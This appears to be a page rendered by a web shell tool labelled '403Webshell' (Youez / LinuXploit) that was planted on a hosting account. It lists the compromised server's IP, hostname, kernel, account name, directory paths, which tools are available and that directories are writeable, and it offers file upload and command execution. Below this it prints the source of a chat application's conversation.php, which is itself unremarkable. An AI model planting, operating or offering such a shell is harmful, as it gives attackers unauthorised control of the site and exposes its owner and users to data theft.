403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/chatblueversion/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/chatblueversion/api/conversation.php
<?php
require dirname(__DIR__).'/includes/bootstrap.php';
$id=$_GET['id']??'';$u=current_user();$owner='';$ownerId='';
if($u){$owner='user_id';$ownerId=$u['id'];}else{$token=$_COOKIE['bvx_guest']??'';if(!$token)json_out(['error'=>'Not found'],404);$s=$pdo->prepare('SELECT id FROM guest_sessions WHERE token_hash=? AND updated_at>=NOW()-INTERVAL 24 HOUR');$s->execute([hash('sha256',$token)]);$g=$s->fetch();if(!$g)json_out(['error'=>'Not found'],404);$owner='guest_id';$ownerId=$g['id'];}
$q=$pdo->prepare("SELECT id FROM conversations WHERE id=? AND $owner=?");$q->execute([$id,$ownerId]);if(!$q->fetch())json_out(['error'=>'Not found'],404);$m=$pdo->prepare('SELECT role,content,created_at FROM messages WHERE conversation_id=? ORDER BY id');$m->execute([$id]);json_out(['id'=>$id,'messages'=>$m->fetchAll()]);

Youez - 2016 - github.com/yon3zu
LinuXploit